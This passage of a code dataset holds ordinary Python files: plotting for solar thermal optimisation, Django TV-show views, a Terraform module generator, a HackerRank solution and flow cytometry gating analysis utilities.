ls=':',label=r'${:.2f}e^{{{:.3f}z_f}}$'.format(A6,b6))\r\n ax1.legend(loc=0,fontsize=fs-2)\r\n\r\n ax1.set_xlim(18,77)\r\n ax1.set_xlabel('Tower height $(m)$',fontsize=fs)\r\n ax1.set_ylabel(r'Optimal {}'.format(ylabs[vary]),fontsize=fs)\r\n ax1.spines['left'].set_color(cLCOH)\r\n ax1.tick_params(axis='y', colors=cLCOH,size=10)\r\n ax1.yaxis.label.set_color(cLCOH)\r\n ax1.tick_params(axis='both', which='major', labelsize=fs-2)\r\n ax1.grid()\r\n # fig.savefig(fldr_rslts+'FINAL_LCOH_zf_fzv.png', bbox_inches='tight')\r\n plt.show()\r\n \r\n print(vary,A6,b6,r2)\r\n\r\nsys.exit()\r\n#####################################\r\n#%%% LCOH MAP\r\n\r\nfile_rslts = 'Optim_TPR_0D_quick.csv'\r\ndf = pd.read_csv(file_rslts,index_col=0)\r\ndf = df.round({'Q_av':2})\r\n\r\n\r\n\r\n\r\n#%%% INFLUENCE OF RADIATION FLUX (OLD)\r\n\r\nfile_rslts = 'Optim_TPR_0D_quick.csv'\r\ndf = pd.read_csv(file_rslts,index_col=0)\r\ndf = df.round({'Q_av':2})\r\nzfs = [50]\r\nfor zf in zfs:\r\n df = pd.read_csv(file_rslts,index_col=0)\r\n df = df.round({'Q_av':2})\r\n pd.set_option('display.max_columns', None)\r\n df = df[(df.zf==zf)]\r\n df.sort_values(['Q_av','Prcv'],inplace=True)\r\n \r\n \r\n mins = []\r\n fig, ax1 = plt.subplots(figsize=(9,6))\r\n Q_avgs = df.Q_avg_i.unique()[:-2]\r\n for Q_av in Q_avgs:\r\n df2 = df[(df.Q_avg_i==Q_av)]\r\n df2.drop_duplicates(subset=['Prcv','zf','Q_avg_i'],inplace=True)\r\n # df2.drop_duplicates(inplace=True)\r\n ax1.plot(df2.Prcv,df2.LCOH,label=r'${:.2f} MW/m^2$'.format(Q_av))\r\n \r\n idx_min = df2.LCOH.idxmin()\r\n Prcv_min = df2.loc[idx_min]['Prcv']\r\n LCOH_min = df2.loc[idx_min]['LCOH']\r\n Nhel_min = df2.loc[idx_min]['N_hel']\r\n etaSF_min = df2.loc[idx_min]['eta_SF']\r\n fzv_min = df2.loc[idx_min]['fzv']\r\n mins.append([zf,Prcv_min,LCOH_min,Nhel_min,etaSF_min,fzv_min,Q_av])\r\n \r\n # bounds = (df2.Prcv.min(),df2.Prcv.max())\r\n # args = (df2.Prcv,df2.LCOH)\r\n # res = spo.minimize_scalar(f_minPoly, bounds=bounds, args=args, method='bounded')\r\n # Prcv_min = res.x\r\n # LCOH_min = f_minPoly(Prcv_min,*args)\r\n # Nhel_min = spi.interp1d(df2.Prcv, df2.N_hel, kind='cubic',fill_value='extrapolate')(Prcv_min)\r\n # etaSF_min = spi.interp1d(df2.Prcv, df2.eta_SF, kind='cubic',fill_value='extrapolate')(Prcv_min)\r\n # fzv_min = spi.interp1d(df2.Prcv, df2.fzv, kind='cubic',fill_value='extrapolate')(Prcv_min)\r\n # mins.append([zf,Prcv_min,LCOH_min,Nhel_min,etaSF_min,fzv_min,Q_av])\r\n \r\n # mins = df.loc[mins]\r\n mins = pd.DataFrame(mins,columns=('zf','Prcv','LCOH','Nhel','eta_SF','fzv','Q_av'))\r\n mins.sort_values(by='Q_av',inplace=True)\r\n # args = (mins.Prcv,mins.LCOH)\r\n # Prcvs = np.arange(mins.Prcv.min(),mins.Prcv.max(),0.1)\r\n # LCOHs = f_minPoly(Prcvs,*args)\r\n ax1.plot(mins.Prcv,mins.LCOH,c='k',lw=2,marker='s',label='min(LCOH)')\r\n ax1.scatter(mins.Prcv,mins.LCOH,c='mediumblue',marker='s',s=100)\r\n \r\n ax1.set_ylim(20,35)\r\n # ax1.plot(Prcvs,LCOHs,lw=3,c='mediumblue',ls='--',label='min(LCOH)')\r\n ax1.set_ylabel(r'LCOH $(USD/MW_t)$',fontsize=fs)\r\n ax1.set_xlabel('Receiver Power $(MW_t)$',fontsize=fs)\r\n ax1.legend(loc=1)\r\n ax1.grid()\r\n plt.show()\r\n # fig.savefig('LCOH_Prcv_Qavg_zf_{:.0f}m.png'.format(zf), bbox_inches='tight')\r\n\r\n","repo_name":"DavidSaldivia/BDR_MCRT","sub_path":"6_Thermal_Subsys_Optim/0-BD-TPR_Optim_Plots_Thesis_vF.py","file_name":"0-BD-TPR_Optim_Plots_Thesis_vF.py","file_ext":"py","file_size_in_byte":17687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"440200961","text":"from django.shortcuts import render, HttpResponse, redirect\nimport datetime\nfrom django.contrib import messages\nfrom .models import Show\n\n# Create your views here.\ndef index(request):\n return redirect('/shows')\n\ndef shows(request):\n context = {\n \"shows\" : Show.objects.all()\n }\n return render(request, \"shows.html\", context)\n\ndef new_show(request):\n\n return render(request, \"shows_new.html\")\n\ndef show_create(request):\n errors = Show.objects.basic_validator(request.POST)\n if len(errors) > 0:\n for k, v in errors.items():\n messages.error(request, v)\n return redirect(\"/shows/new\")\n else:\n show = Show.objects.create(\n title = request.POST['title'],\n network = request.POST['network'],\n release_date = request.POST['release_date'],\n description = request.POST['description'],\n )\n return redirect(f\"/shows/{show.id}\")\n\ndef show_display(request, show_id):\n context = {\n \"show\": Show.objects.get(id=show_id)\n }\n return render(request, \"show_display.html\", context)\n\ndef show_update(request, show_id):\n errors = Show.objects.basic_validator(request.POST)\n if len(errors) > 0:\n for k, v in errors.items():\n messages.error(request, v)\n return redirect(f\"/shows/{show_id}/edit\")\n else:\n show = Show.objects.filter(pk=show_id).update(\n title = request.POST['title'],\n network = request.POST['network'],\n release_date = request.POST['release_date'],\n description = request.POST['description'],\n )\n return redirect(f\"/shows/{show_id}\")\n\ndef show_edit(request, show_id):\n show = Show.objects.get(id=show_id)\n show.release_date = show.release_date.strftime('%Y-%m-%d')\n context = {\n \"show\" : show\n }\n return render(request, \"shows_edit.html\", context)\n\ndef show_delete(request, show_id):\n show = Show.objects.get(id=show_id).delete()\n return redirect(\"/shows\")","repo_name":"stormysea22/semi_restful_tv_shows","sub_path":"show_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2063,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72324638245","text":"#!/usr/bin/env python3\nimport os\n\nfrom sys import argv\nfrom subprocess import run\n\ndef create_and_go_to_folder(folder: str):\n os.makedirs(folder, exist_ok=True)\n os.chdir(folder)\n\ndef create(filename: str = None, data: str = None) -> None:\n print(f\"creating {filename}...\")\n with open(filename, 'w') as writer:\n writer.write(data)\n print(f'displaying contents of {filename}...')\n with open(filename) as reader:\n print(reader.read())\n\ndef create_module_main_tf():\n create(\n 'main.tf',\n '''provider \"aws\" {\n region = var.region\n}\n\nresource \"aws_vpc\" \"this\" {\n cidr_block = \"10.0.0.0/16\"\n}\n\nresource \"aws_subnet\" \"this\" {\n vpc_id = aws_vpc.this.id\n cidr_block = \"10.0.1.0/24\"\n}\n\ndata \"aws_ssm_parameter\" \"this\" {\n name = \"/aws/service/ami-amazon-linux-latest/amzn2-ami-hvm-x86_64-gp2\"\n}''')\n\ndef create_module_variables_tf():\n create(\n 'variables.tf',\n '''variable \"region\" {\n type = \"string\"\n default = \"us-east-1\"\n}''')\n\ndef create_module_outputs_tf():\n create(\n 'outputs.tf',\n '''output \"subnet_id\" {\n value = aws_subnet.this.id\n}\n\noutput \"ami_id\" {\n value = data.aws_ssm_parameter.this.value\n}''')\n\ndef create_project_main_tf():\n create(\n 'main.tf',\n '''provider \"aws\" {\n region = var.main_region\n}\n\nmodule \"vpc\" {\n source = \"./modules/vpc\"\n region = var.main_region\n}\n\nresource \"aws_instance\" \"my-instance\" {\n ami = module.vpc.ami_id\n subnet_id = module.vpc.subnet_id\n instance_type = \"t2.micro\"\n}''')\n\ndef create_project_variables_tf():\n create(\n 'variables.tf',\n '''variable \"main_region\" {\n type = string\n default = \"us-east-1\"\n}'''\n )\n\ndef create_project_outputs_tf():\n create(\n 'outputs.tf',\n '''output \"PrivateIP\" {\n description = \"Private IP of EC2 instance\"\n value = aws_instance.my-instance.private_ip\n}''')\n\ndef terraform(command: str) -> None:\n print(\n run(\n f'terraform {command}', shell=True,\n #capture_output=True\n )\n )\n\ndef directory():\n return f'{argv[1]}/modules/vpc'\n\nif __name__ == \"__main__\":\n print(f\"Creating structure {directory()}\")\n create_and_go_to_folder(directory())\n print(os.getcwd())\n create_module_main_tf()\n create_module_variables_tf()\n create_module_outputs_tf()\n print(os.getcwd())\n os.chdir('../..')\n print(os.listdir())\n print('Writing Main Terraform Project Code')\n create_project_main_tf()\n create_project_variables_tf()\n create_project_outputs_tf()\n terraform('fmt -recursive')\n terraform('init')\n terraform('validate')\n terraform('plan')","repo_name":"jadecobra/terraform","sub_path":"associate/25_create_terraform_module.py","file_name":"25_create_terraform_module.py","file_ext":"py","file_size_in_byte":2671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"1034658765","text":"#https://www.hackerrank.com/challenges/strange-advertising/problem?isFullScreen=true\n\nimport sys\n\nn = int(sys.stdin.readline())\n\nshared=5\nliked=0\ncumulative=0\n\nfor i in range(n):\n liked = shared//2\n cumulative+=liked\n shared = liked *3\n \nprint(cumulative)","repo_name":"JeongHooon-Lee/Hackerrank_Python","sub_path":"Easy/CPTango/Day15/Day15-9.py","file_name":"Day15-9.py","file_ext":"py","file_size_in_byte":267,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"27032319784","text":"import matplotlib\nimport yaml\n\nmatplotlib.use('Agg')\nmatplotlib.rcParams['font.size'] = 10\nmatplotlib.rcParams['font.family'] = 'serif'\nimport pandas as pd\nfrom scipy import stats\nimport os\nfrom utils.ParameterParser import ParameterParser\nfrom utils.CellOverlaps import CellOverlaps\nfrom utils.bayes_gate import ModelTree\nfrom utils.input import *\nimport utils.utils_load_data as dh\nimport torch.nn as nn\n\ndefault_hparams = {\n 'logistic_k': 100,\n 'logistic_k_dafi': 10000,\n 'regularization_penalty': 0,\n 'negative_box_penalty': 0.0,\n 'negative_proportion_default': 0.0001,\n 'positive_box_penalty': 0.0,\n 'corner_penalty': .0,\n 'feature_diff_penalty': 0.,\n 'gate_size_penalty': .0,\n 'gate_size_default': (0.5, 0.5),\n 'load_from_pickle': True,\n 'dafi_init': False,\n 'optimizer': \"Adam\", # or Adam, SGD\n 'loss_type': 'logistic', # or MSE\n 'n_epoch_eval': 100,\n 'n_mini_batch_update_gates': 50,\n 'learning_rate_classifier': 0.05,\n 'learning_rate_gates': 0.05,\n 'batch_size': 10,\n 'n_epoch': 1000,\n 'seven_epochs_for_gate_motion_plot': [0, 50, 100, 200, 300, 400, 500],\n 'test_size': 0.20,\n 'experiment_name': 'default',\n 'random_state': 123,\n 'n_run': 2,\n 'init_type': 'random_corner',\n 'corner_init_deterministic_size': .75,\n 'train_alternate': True,\n 'run_logistic_to_convergence': False,\n 'output': {\n 'type': 'full'\n },\n 'annealing': {\n 'anneal_logistic_k': False,\n 'final_k': 1000,\n 'init_k': 1\n },\n 'two_phase_training': {\n 'turn_on': False,\n 'num_only_log_loss_epochs': 50\n },\n 'plot_params': {\n 'figsize': [10, 10],\n 'marker_size': .01,\n },\n 'use_out_of_sample_eval_data': False,\n 'dictionary_is_broken': True\n}\n\ncolumn_names = ['random_state',\n 'train_accuracy',\n 'eval_accuracy',\n 'overall_accuracy',\n 'train_accuracy_dafi',\n 'eval_accuracy_dafi',\n 'overall_accuracy_dafi',\n 'train_tracker.acc_opt'\n 'eval_tracker.acc_opt',\n 'train_logloss',\n 'eval_logloss',\n 'overall_logloss',\n 'train_logloss_dafi',\n 'eval_logloss_dafi',\n 'overall_logloss_dafi',\n 'train_auc',\n 'eval_auc',\n 'overall_auc',\n 'train_auc_dafi',\n 'eval_auc_dafi',\n 'overall_auc_dafi',\n 'train_brier_score',\n 'eval_brier_score',\n 'overall_brier_score',\n 'train_brier_score_dafi',\n 'eval_brier_score_dafi',\n 'overall_brier_score_dafi',\n 'run_time']\n\n# generate scatter plots of a method and dafi gates\nmetric_dict = ['accuracy', 'logloss', 'auc', 'brier_score']\n# model_dict = ['default', 'dafi_init', 'dafi_regularization', 'default_non_alternate', 'emp_regularization_off',\n# 'gate_size_regularization_off']\nmodel_dict = ['default']\n\n\n# load from csv\ndef scatter_vs_dafi_feature(dataname, method_name, metric_name, ax):\n filename = '../output/%s/results_cll_4D.csv' % (dataname + '_' + method_name)\n if metric_name not in metric_dict:\n raise ValueError('%s is not in metric_dict.' % metric_name)\n df = pd.read_csv(filename, header=None, names=column_names)\n # stats test\n print(stats.ttest_rel(df['eval_%s' % metric_name], df['eval_%s_dafi' % metric_name]))\n print(stats.ks_2samp(df['eval_%s' % metric_name], df['eval_%s_dafi' % metric_name]))\n\n ax.scatter(df['eval_%s' % metric_name], df['eval_%s_dafi' % metric_name], s=5)\n ax.set_xlim(min(min(df['eval_%s' % metric_name]), min(df['eval_%s_dafi' % metric_name])), \\\n max(max(df['eval_%s' % metric_name]), max(df['eval_%s_dafi' % metric_name])))\n ax.set_ylim(min(min(df['eval_%s' % metric_name]), min(df['eval_%s_dafi' % metric_name])), \\\n max(max(df['eval_%s' % metric_name]), max(df['eval_%s_dafi' % metric_name])))\n ax.plot(ax.get_xlim(), ax.get_ylim(), ls=\"--\", c=\".3\")\n ax.set_title(metric_name)\n return ax\n\n\ndef scatter_methods(dataname, method_name_1, method_name_2, metric_name):\n # todo: need to make df of different methods to plot of same length\n \"\"\"\n\n :param dataname:\n :param method_name_1:\n :param method_name_2:\n :param metric_name:\n :return:\n \"\"\"\n filename_1 = '../output/%s/results_cll_4D.csv' % (dataname + '_' + method_name_1)\n filename_2 = '../output/%s/results_cll_4D.csv' % (dataname + '_' + method_name_2)\n if metric_name not in metric_dict:\n raise ValueError('%s is not in metric_dict.' % metric_name)\n df_1 = pd.read_csv(filename_1, header=None, names=column_names)\n df_2 = pd.read_csv(filename_2, header=None, names=column_names)\n\n figname_train = '../fig/%s/%s_vs_%s_%s_train.png' % (dataname, method_name_1, method_name_2, metric_name)\n fig = plt.figure(figsize=(3, 3))\n ax = fig.add_subplot(1, 1, 1)\n ax.scatter(df_1['train_%s' % metric_name], df_2['train_%s' % metric_name], s=5)\n ax.set_xlabel(method_name_1)\n ax.set_ylabel(method_name_2)\n if metric_name in ['accuracy', 'auc', 'brier_score']:\n ax.set_xlim(0.0, 1.0)\n ax.set_ylim(0.0, 1.0)\n elif metric_name == 'logloss':\n ax.set_xlim(0.0, 5.0)\n ax.set_ylim(0.0, 5.0)\n ax.plot(ax.get_xlim(), ax.get_ylim(), ls=\"--\", c=\".3\")\n ax.set_title(metric_name)\n fig.tight_layout()\n plt.savefig(figname_train)\n\n figname_test = '../fig/%s/%s_vs_%s_%s_test.png' % (dataname, method_name_1, method_name_2, metric_name)\n fig = plt.figure(figsize=(3, 3))\n ax = fig.add_subplot(1, 1, 1)\n ax.scatter(df_1['eval_%s' % metric_name], df_2['eval_%s' % metric_name], s=5)\n ax.set_xlabel(method_name_1)\n ax.set_ylabel(method_name_2)\n if metric_name in ['accuracy', 'auc', 'brier_score']:\n ax.set_xlim(0.0, 1.0)\n ax.set_ylim(0.0, 1.0)\n ax.plot()\n elif metric_name == 'logloss':\n ax.set_xlim(0.0, 5.0)\n ax.set_ylim(0.0, 5.0)\n ax.plot(ax.get_xlim(), ax.get_ylim(), ls=\"--\", c=\".3\")\n ax.set_title(metric_name)\n fig.tight_layout()\n plt.savefig(figname_test)\n\n\ndef combine_results_into_one_csv(directory_prefix, output_dir, y_data_path, corner_reg_grid=[0., .1, .2, .3, .4, .5],\n gate_size_reg_grid=[0., .1, .2, .3, .4, .5], decimal_points_in_dir_name=2):\n # Looks like the data is not shuffled assuming the test_size hparam is set to 0\n # Other wise this wont be matched up properly\n # I have two sets of results: one with corner reg 0->.5 and the other with corner reg\n # taking values in [.001, .050]\n str_identifiers = []\n features_list = []\n avg_results_dicts = []\n weights_list = []\n for c, corner_reg in enumerate(corner_reg_grid):\n for gate_size_reg in gate_size_reg_grid:\n if directory_prefix == '../output/logreg_to_conv_grid_search':\n if decimal_points_in_dir_name == 2:\n str_identifier = '_corner=%.2f_gate_size=%.2f' % (corner_reg, gate_size_reg)\n else:\n str_identifier = '_corner=%.3f_gate_size=%.3f' % (corner_reg, gate_size_reg)\n elif directory_prefix == '../output/two_phase_logreg_to_conv_grid_search_gate_size=':\n str_identifier = '%.2f' % gate_size_reg\n directory = directory_prefix + str_identifier\n # include Dafi results as the first column\n if c == 0:\n # dafi_features = get_features(os.path.join(directory, 'features_dafi.csv'))\n # str_identifiers.append('DAFI')\n # features_list.append(dafi_features)\n # get DAFI outputs here\n # avg_results_dicts.append(None)\n # weights_list.append(None)\n pass\n\n avg_results_dict = avg_results(os.path.join(directory, 'results_cll_4D.csv'))\n features = get_features(os.path.join(directory, 'features_model.csv'))\n weights = get_weights(os.path.join(directory, 'model_classifier_weights.csv'))\n\n avg_results_dicts.append(avg_results_dict)\n features_list.append(features)\n weights_list.append(weights)\n\n str_identifiers.append(str_identifier)\n with open(y_data_path, 'rb') as f:\n labels = pickle.load(f)\n write_concatenated_results(output_dir, avg_results_dicts, features_list, weights_list, str_identifiers, labels)\n fig, axes = plt.subplots(1, 2, sharey=True)\n feats_noreg = np.array(features_list[0])\n labels = np.array(labels)\n features_pos = feats_noreg[labels == 0]\n features_neg = feats_noreg[labels == 1]\n axes[0].boxplot(features_pos)\n axes[1].boxplot(features_neg)\n plt.savefig(os.path.join(output_dir, 'feats_box_plot_noreg.png'))\n\n\ndef write_concatenated_results(output_dir, avg_results_dicts, features_list, weights_list, str_identifiers, labels):\n with open(os.path.join(output_dir, 'concatenated_results.csv'), 'w') as f:\n # get the column labels which correspond to different settings\n col_labels = ''\n for s, string in enumerate(str_identifiers):\n if s == len(str_identifiers) - 1:\n col_labels += string + ', label' + '\\n'\n continue\n col_labels += string + ','\n f.write(col_labels)\n num_samples = len(features_list[0]) # each feature is one sample in this case\n for row in range(num_samples):\n for column in range(len(features_list)):\n feature = features_list[column][row]\n if column == len(features_list) - 1:\n f.write(str(feature) + ',%s' % (labels[row]) + '\\n') # assumes labels are matched up\n continue\n f.write(str(feature) + ',')\n\n\ndef get_weights(weights_path):\n with open(weights_path, 'r') as f:\n last_run_weights = f.readlines()[-1][0:-2] # get rid of newline char\n last_run_weights = [float(last_run_weights.split(',')[0]), float(last_run_weights.split(',')[1])]\n return last_run_weights\n\n\ndef get_features(features_path):\n with open(features_path, 'r') as f:\n lines = f.readlines()\n # only giving Padhraic the last run for now\n # have 35 features/samples, and the last line is blank\n lines_last_run = lines[-36:-1]\n feats = [float(feat_str[0:-1]) for feat_str in lines_last_run]\n\n return feats\n\n\ndef avg_results(results_path):\n with open(results_path, 'r') as f:\n lines = f.readlines()\n # only want odd lines which have actual integers\n lines_with_results = [line.split(',') for l, line in enumerate(lines) if l % 2 == 1]\n accs = [float(split_line[1]) for split_line in lines_with_results]\n log_losses = [float(split_line[2]) for split_line in lines_with_results]\n\n return {'avg_acc': sum(accs) / len(accs),\n 'avg_log_loss': sum(log_losses) / len(log_losses)}\n\n\ndef make_and_write_concatenated_8d_data_with_dafi_gate_flags_and_ids(path_to_hparams, savepath=None):\n concatenated_data = make_data_with_dafi_gate_flags_and_ids(path_to_hparams)\n if savepath:\n savepath = savepath\n else:\n savepath = '../data/concatenated_8d_data_with_dafi_filtering_indicators.csv'\n write_concatenated_8d_data_with_dafi_gate_flags_and_ids(concatenated_data, savepath)\n\n\ndef make_and_write_catted_data(path_to_x_list, path_to_y_list, savepath):\n catted_data = make_catted_data(path_to_x_list, path_to_y_list)\n write_catted_data(catted_data, savepath)\n return catted_data\n\n\ndef write_catted_data(catted_data, savepath):\n COL_NAMES = (\n 'FSC-A',\n 'SSC-H',\n 'CD45',\n 'SSC-A',\n 'CD5',\n 'CD19',\n 'CD10',\n 'CD79b',\n 'sample_ids',\n 'labels'\n )\n\n with open(savepath, 'w') as f:\n f.write('%s, %s, %s, %s, %s, %s, %s, %s, %s, %s\\n' % COL_NAMES)\n for cell_row in catted_data:\n f.write('%.3f, %.3f, %.3f, %.3f, %.3f, %.3f, %.3f, %.3f, %.3f, %.3f\\n' % tuple(cell_row))\n\n\ndef make_catted_data(path_x_list, path_y_list):\n with open(path_x_list, 'rb') as f:\n x_list = pickle.load(f)\n with open(path_y_list, 'rb') as f:\n y_list = pickle.load(f)\n\n for sample_id, (x, y) in enumerate(zip(x_list, y_list)):\n x_with_sample_id = np.hstack([x, sample_id * np.ones([x.shape[0], 1])])\n x_with_sample_id_and_label = np.hstack([x_with_sample_id, y * np.ones([x.shape[0], 1])])\n if sample_id == 0.:\n catted_data = x_with_sample_id_and_label\n else:\n catted_data = np.concatenate([catted_data, x_with_sample_id_and_label])\n return catted_data\n\n\ndef write_concatenated_8d_data_with_dafi_gate_flags_and_ids(concatenated_data, savepath):\n COL_NAMES = (\n 'FSC-A',\n 'SSC-H',\n 'CD45',\n 'SSC-A',\n 'CD5',\n 'CD19',\n 'CD10',\n 'CD79b',\n 'sample_ids',\n 'labels',\n 'cell_ids',\n 'In Dafi Gate1',\n 'In Dafi Gate2',\n 'In Dafi Gate3',\n 'In Dafi Gate4',\n )\n with open(savepath, 'w') as f:\n f.write('%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s\\n' % COL_NAMES)\n for cell_row in concatenated_data:\n for i in range(4):\n if cell_row[-(i + 1)] == True:\n cell_row[-(i + 1)] = 1\n else:\n cell_row[-(i + 1)] = 0\n f.write(\n '%.3f, %.3f, %.3f, %.3f, %.3f, %.3f, %.3f, %.3f, %.3f, %.3f, %.3f, %d, %d, %d, %d\\n' % tuple(cell_row))\n\n\ndef parse_hparams(path_to_hparams):\n hparams = default_hparams\n with open(path_to_hparams, \"r\") as f_in:\n yaml_params = yaml.safe_load(f_in)\n hparams.update(yaml_params)\n hparams['init_method'] = \"dafi_init\" if hparams['dafi_init'] else \"random_init\"\n if hparams['train_alternate']:\n hparams['n_epoch_dafi'] = hparams['n_epoch'] // hparams['n_mini_batch_update_gates'] * (\n hparams['n_mini_batch_update_gates'] - 1)\n else:\n hparams['n_epoch_dafi'] = hparams['n_epoch']\n\n print(hparams)\n return hparams\n\n\ndef load_output(path_to_hparams):\n output = {}\n hparams = ParameterParser(path_to_hparams).parse_params()\n output['hparams'] = hparams\n exp_name = hparams['experiment_name']\n model_checkpoint_path = '../output/%s/model_checkpoints.pkl' \\\n % hparams['experiment_name']\n\n with open(model_checkpoint_path, 'rb') as f:\n model_checkpoint_dict = pickle.load(f)\n # note that the initial cuts stored in this input\n # object are not the cuts that this function uses\n # this input object is only used here because the dafi gates\n # are saved inside it\n output['cll_1p_full_input'] = Cll8d1pInput(hparams)\n\n output['dafi_tree'] = ModelTree(output['cll_1p_full_input'].reference_tree,\n logistic_k=hparams['logistic_k_dafi'],\n negative_box_penalty=hparams['negative_box_penalty'],\n positive_box_penalty=hparams['positive_box_penalty'],\n corner_penalty=hparams['corner_penalty'],\n gate_size_penalty=hparams['gate_size_penalty'],\n init_tree=None,\n loss_type=hparams['loss_type'],\n gate_size_default=hparams['gate_size_default'])\n\n output['models_per_iteration'] = [\n model_checkpoint_dict[iteration]\n for iteration in\n hparams['seven_epochs_for_gate_motion_plot']\n ]\n # Checkpoint dictionary is messed up when saving\n # since str(id(node)) for each node is changed\n # (pickling is out of place and makes a new object with a\n # new id. This only works with a chain graph to make the ids match\n # the saved object ids\n fixed_models_per_iteration = []\n for model in output['models_per_iteration']:\n cur_node = model.root\n fixed_children_dict = {}\n num_nodes = len(model.children_dict.keys())\n for key, item in model.children_dict.items():\n fixed_children_dict[str(id(cur_node))] = nn.ModuleList(item)\n if not len(model.children_dict[key]) == 0:\n cur_node = model.children_dict[key][0]\n model.children_dict = nn.ModuleDict(fixed_children_dict)\n\n print('root id is: ', str(id(output['models_per_iteration'][0].root)))\n keys = [key for key in output['models_per_iteration'][0].children_dict.keys()]\n print('keys are: ', output['models_per_iteration'][0].children_dict.keys())\n print('id of root in new dict is: ', str(id(output['models_per_iteration'][0].children_dict[keys[0]])))\n print('init model is: ', output['models_per_iteration'][0])\n # call split on input here if theres a bug\n return output\n\n\ndef write_ranked_features_model_dafi(path_to_hparams):\n output = load_output(path_to_hparams)\n hparams = output['hparams']\n model = output['models_per_iteration'][-1]\n dafi = output['dafi_tree']\n x_list = output['cll_1p_full_input'].x_train\n labels = output['cll_1p_full_input'].y_train\n features_model = []\n feature_dafi = []\n for idx, x in enumerate(x_list):\n print(x.shape)\n model_results = model(x)\n dafi_results = dafi(x)\n features_model.append([model_results['leaf_probs'][0], idx, labels[idx]])\n features_dafi.append([dafi_results['leaf_probs'][0], idx, labels[idx]])\n features_model = np.array(features_model).sort(axis=0)\n features_dafi = np.array(features_dafi).sort(axis=0)\n savepath = '../output/%s/ranked_features_table' % hparams['experiment_name']\n with open(savepath, 'w') as f:\n f.write(\n 'ranked features from model, sample id, matching label, ranked features from dafi, sample id, matching label\\n')\n for idx, label in enumerate(labels):\n row = (\n features_model[idx][0], features_model[idx][1],\n features_model[idx][2],\n features_dafi[idx][0], features_dafi[idx][1],\n features_dafi[idx][2]\n\n )\n f.write('%.4f, %.4f, %.4f, %.4f, %.4f, %.4f\\n' % row)\n\n\ndef load_from_pickle(path_to_file):\n with open(path_to_file, 'rb') as f:\n loaded_object = pickle.load(f)\n return loaded_object\n\n\ndef make_data_with_dafi_gate_flags_and_ids(path_to_hparams):\n hparams = ParameterParser(path_to_hparams).parse_params()\n\n cll_1p_full_input = Cll8d1pInput(hparams)\n dafi_tree = make_dafi_tree(hparams, cll_1p_full_input)\n x_list = cll_1p_full_input.unnormalized_x_list_of_numpy\n y_list = cll_1p_full_input.y_numpy\n for sample_id, (x, y) in enumerate(zip(x_list, y_list)):\n x_with_sample_id = np.hstack([x, sample_id * np.ones([x.shape[0], 1])])\n x_with_sample_id_and_label = np.hstack([x_with_sample_id, y * np.ones([x.shape[0], 1])])\n # wrote a function to get unique cell ids in this class already\n\n x_with_sample_ids_cell_ids_and_labels = \\\n CellOverlaps(dafi_tree, dafi_tree, [x_with_sample_id_and_label]).data_list_with_ids[0]\n\n # filtered_data = dafi_tree.filter_data(x_with_sample_ids_cell_ids_and_labels)\n flat_gates = [\n [102., 921., 2048., 3891.],\n [921., 2150., 102., 921.],\n [1638., 3891., 2150., 3891.],\n [0, 1228., 0., 1843.]\n ]\n\n flat_ids = dafi_tree.get_flat_ids()\n filtered_data = filter_data(\n x_with_sample_ids_cell_ids_and_labels,\n flat_gates,\n flat_ids\n )\n print(x_with_sample_ids_cell_ids_and_labels[:, -1])\n print(y)\n print(filtered_data[0].shape, x.shape)\n print(filtered_data[1].shape)\n print(filtered_data[2].shape)\n print(filtered_data[3].shape)\n print(filtered_data[4].shape)\n gate_1_flags = np.isin(x_with_sample_ids_cell_ids_and_labels[:, -1], filtered_data[1][:, -1])\n gate_2_flags = np.isin(x_with_sample_ids_cell_ids_and_labels[:, -1], filtered_data[2][:, -1])\n gate_3_flags = np.isin(x_with_sample_ids_cell_ids_and_labels[:, -1], filtered_data[3][:, -1])\n gate_4_flags = np.isin(x_with_sample_ids_cell_ids_and_labels[:, -1], filtered_data[4][:, -1])\n\n x_all_cols = np.hstack(\n [\n x_with_sample_ids_cell_ids_and_labels,\n gate_1_flags[:, np.newaxis], gate_2_flags[:, np.newaxis], gate_3_flags[:, np.newaxis],\n gate_4_flags[:, np.newaxis]\n ]\n )\n\n if sample_id == 0:\n catted_data = x_all_cols\n else:\n catted_data = np.concatenate([catted_data, x_all_cols])\n\n return catted_data\n\n\ndef filter_single_flat_gate(data, gate, ids):\n print(ids)\n filtered_data = dh.filter_rectangle(\n data, ids[0],\n ids[1], gate[0], gate[1],\n gate[2], gate[3]\n )\n return filtered_data\n\n\ndef filter_data(data, flat_gates, flat_ids):\n filtered_data = [data]\n for gate, ids in zip(flat_gates, flat_ids):\n filtered_data.append(\n filter_single_flat_gate(filtered_data[-1], gate, ids)\n )\n return filtered_data\n\n\ndef make_dafi_tree(hparams, cll_1p_full_input):\n dafi_tree = ModelTree(cll_1p_full_input.get_unnormalized_reference_tree(),\n logistic_k=hparams['logistic_k_dafi'],\n negative_box_penalty=hparams['negative_box_penalty'],\n positive_box_penalty=hparams['positive_box_penalty'],\n corner_penalty=hparams['corner_penalty'],\n gate_size_penalty=hparams['gate_size_penalty'],\n init_tree=None,\n loss_type=hparams['loss_type'],\n gate_size_default=hparams['gate_size_default'])\n return dafi_tree\n\n\n# def test_filtered_data_matches_overlap_results():\n# filtered_path = '../output/'\n# overlap_path = ''\n# with open(filtered_path, 'r') as f:\n# cell_rows = f.readlines()\n# with open(overlap_path, 'r') as f:\n# pass\n\n\ndef save_feats_panel1_in_sample(OOS_hparams, model_path, dafi_path):\n with open(model_path, 'rb') as f:\n model = pickle.load(f)\n with open(dafi_path, 'rb') as f:\n dafi = pickle.load(f)\n if torch.cuda.is_available():\n model.cuda(OOS_hparams['device'])\n dafi.cuda(OOS_hparams['device'])\n\n input = Cll8d1pInput(OOS_hparams)\n # y_train and x_train are all the in sample data for this hparams setting\n feats_model_soft = model.forward_4chain(input.x_train, input.y_train)['leaf_probs'].detach().cpu().numpy()\n feats_model_hard = model.forward_4chain(input.x_train, input.y_train, use_hard_proportions=True)[\n 'leaf_probs'].detach().cpu().numpy()\n feats_dafi = dafi.forward_4chain(input.x_train, input.y_train, use_hard_proportions=True)[\n 